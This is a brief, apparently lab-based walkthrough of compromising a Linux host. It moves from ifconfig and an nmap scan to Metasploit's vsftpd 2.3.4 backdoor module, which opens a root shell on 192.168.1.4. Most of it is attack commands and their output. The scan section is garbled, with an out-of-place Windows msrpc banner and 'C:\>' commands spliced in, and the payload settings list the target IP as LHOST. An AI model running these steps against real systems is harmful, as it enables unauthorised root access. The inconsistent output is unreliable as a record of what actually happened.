

Linux Hacking

Step 1 – Get the IP address IP = 192.168.1.4

```
eth0      Link encap:Ethernet  HWaddr 00:0c:29:e2:28:8c  
          inet addr:192.168.1.4  Bcast:192.168.1.255  Mask:255.255.255.0  
          inet6 addr: fe80::20c:29ff:fee2:288c/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:40 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:69 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:5480 (5.3 KB)  TX bytes:7318 (7.1 KB)  
          Interrupt:17 Base address:0x2000
```

Step 2 – Scan the IP using nmap

```
(kali㉿kali)-[~/Desktop/linuxHacking]  
$ sudo nmap -Pn -sC -sV -oN initials 192.168.1.4  
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-23 02:47 EDT  
Nmap scan report for 192.168.1.4  
Host is up (0.0067s latency).  
Not shown: 977 closed ports  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
135/tcp   open  msrpc        Microsoft Windows [Version 6.0.6002] Copyright (c) 2006 Microsoft Corporation. All rights reserved.  
C:\> ipconfig /all  
C:\> netstat -an  
C:\> netstat -an | findstr /i /c:"tcp"
```

Step 3 – Start msfconsole use exploit/unix/ftp/vsftpd_234_backdoor.

set rhosts 192.168.1.4 exploit

```

File Actions Edit View Help
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.4      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     21                yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.4      yes       The target host to connect to
  LPORT     4444              yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.4
rhosts => 192.168.1.4
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.4:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.4:21 - USER: 331 Please specify the password.
[+] 192.168.1.4:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.4:6200) at 2021-06-23 02:50:17 -0400

```